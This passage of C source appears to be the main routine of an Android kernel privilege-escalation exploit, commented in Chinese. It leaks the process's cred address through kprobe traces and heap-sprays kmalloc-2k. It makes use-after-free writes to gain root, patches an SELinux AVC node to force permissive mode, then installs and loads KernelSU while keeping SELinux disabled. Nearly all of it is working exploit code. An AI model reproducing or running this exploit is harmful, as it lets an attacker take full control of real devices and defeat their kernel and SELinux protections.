        trace_write(TRACE_DIR "/kprobe_events", "-:irq/vtc\n", 1);
        if (trace_write(TRACE_DIR "/kprobe_events", rule, 1) < 0) {
            fprintf(stderr, "挂探针失败\n");
            return 1;
        }
        trace_write(TRACE_DIR "/events/irq/enable", "1\n", 0);
        trace_write(TRACE_DIR "/tracing_on", "1\n", 0);
        usleep(200 * 1000);

        cred = read_self_cred();

        trace_write(TRACE_DIR "/events/irq/enable", "0\n", 0);
        trace_write(TRACE_DIR "/tracing_on", "0\n", 0);
        trace_write(TRACE_DIR "/kprobe_events", "-:irq/vtc\n", 1);

        if (!cred) {
            fprintf(stderr, "没从 trace 里拿到 cred\n");
            return 1;
        }
        printf("[+] cred=0x%llx\n", cred);
    }
    if (argc > 2)
        spray_n = atol(argv[2]);
    if (argc > 3)
        spread_ms = atol(argv[3]);

    if (spray_setup() < 0)
        return 1;

    /* 每枪打完立即核对;spray 抢 kmalloc-2k 是概率性的,不达标就重打 */
    for (unsigned i = 0; i < sizeof(shots) / sizeof(shots[0]); i++) {
        unsigned long long target = cred + shots[i].off;
        int done = 0;

        for (int attempt = 1; attempt <= 3 && !done; attempt++) {
            printf("[*] 第 %u 轮 %-18s -> 0x%llx (value=%d, 第 %d 次)\n",
                   i + 1, shots[i].what, target, shots[i].val, attempt);
            fflush(stdout);
            if (uaf_write(target, shots[i].val, spray_n, spread_ms, buf) < 0)
                printf("[-] 第 %u 轮 UAF 写失败\n", i + 1);
            spray_drain();
            done = shots[i].ok();
        }
        if (!done)
            printf("[-] 第 %u 轮 %s 连续三次未生效\n", i + 1, shots[i].what);
    }

    phase("CHECK");
    print_self();
    if (geteuid() != 0) {
        phase("FAIL");
        free(buf);
        return 1;
    }
    printf("[*] 当前 enforce=%d\n", read_enforce());

    if (read_enforce() == 0) {
        printf("[*] 已是 Permissive,跳过 AVC 修补\n");
    } else {
        phase("AVC_PROBE");
        avd = probe_node();
        if (!avd) {
            fprintf(stderr, "没从 trace 里拿到 avc_node\n");
            phase("FAIL");
            free(buf);
            return 1;
        }
        printf("[+] avc_node=0x%llx flags@0x%llx\n", avd, avd + OFF_NODE_FLAGS);

        phase("AVC_PATCH");
        for (int attempt = 1; attempt <= 3; attempt++) {
            int enf;

            printf("[*] 第 %d 次打 flags -> 0x%llx\n", attempt, avd + OFF_NODE_FLAGS);
            fflush(stdout);
            if (uaf_write(avd + OFF_NODE_FLAGS, 0, spray_n, spread_ms, buf) < 0)
                printf("[-] avd 写入失败\n");
            spray_drain();

            enf = write_enforce('0');
            printf("[*] 写 enforce 返回 %d, getenforce=%d\n", enf, read_enforce());
            if (read_enforce() == 0)
                break;
        }
    }

    phase("SETENFORCE");
    printf("[*] 当前 enforce=%d\n", read_enforce());
    if (read_enforce() != 0) {
        phase("FAIL");
        free(buf);
        return 1;
    }

    phase("SLIDE");
    kernel_slide = read_slide();
    if (!kernel_slide) {
        fprintf(stderr, "没拿到 kernel_slide\n");
        phase("FAIL");
        free(buf);
        return 1;
    }
    printf("[+] kernel_slide=0x%llx\n", (unsigned long long)kernel_slide);

    phase("KSUD_INSTALL");
    install_ksud();

    phase("KSU_LOAD");
    ksu_loaded = (load_kernelsu_module() == 0);

    /*
     * KSU 加载时会把 enforce 自己设回 1(kmsg 里有 "SELinux permissive or
     * disabled, apply rules!")。98260 那一路的 su 是在 permissive 下跑通的:
     * mksh 的可执行性检查会经 faccessat 落到 /data/adb,shell 域被 SELinux
     * 挡成 EACCES,permissive 才放行。所以这里再写回 0。
     */
    phase("RELAX");
    {
        int before = read_enforce();

        if (before < 0) {
            printf("[!] 读不到 /sys/fs/selinux/enforce\n");
        } else if (before == 0) {
            printf("[*] enforce 已是 0,无需回写\n");
        } else {
            write_enforce('0');
            printf("[*] enforce %d -> %d\n", before, read_enforce());
        }
    }

    phase("KSU_CHECK");
    usleep(300 * 1000);
    if (ksu_loaded && kernelsu_module_loaded()) {
        FILE *m = fopen("/proc/modules", "re");
        char line[256];

        if (m) {
            while (fgets(line, sizeof(line), m))
                if (!strncmp(line, "kernelsu ", 9))
                    printf("[*] /proc/modules: %s", line);
            fclose(m);
        }
        phase("KSU_OK");
    } else {
        phase("KSU_FAIL");
    }

    /*
     * 结论行用纯文本:调用方按纯文本做字符串匹配,颜色码会被剥掉。
     */
    if (getuid() == 0 && geteuid() == 0) {
        if (ksu_loaded && kernelsu_module_loaded()) {
            printf("[+] 提权成功!%s 已加载。\n", KSU_DISPLAY_NAME);
            printf("KSU_STATE READY\n");
            phase("OK");
        } else {
            printf("[+] 提权成功!\n[!] %s 未加载,详见上方 KSU_LOAD_FAIL\n",
                   KSU_DISPLAY_NAME);
            printf("KSU_STATE FAIL\n");
            printf("[!] 已取得 root,但 %s 这次没能接管 su。\n", KSU_DISPLAY_NAME);
            printf("[!] 请重启设备后重新执行提权;若仍然失败,请把完整终端日志反馈。\n");
            printf("KSU_REBOOT_REQUIRED reason=ksu_not_usable\n");
            phase("FAIL");
        }
    } else {
        printf("KSU_STATE FAIL\n");
        phase("FAIL");
    }

    free(buf);
    return (getuid() == 0 && geteuid() == 0 && ksu_loaded) ? 0 : 1;
}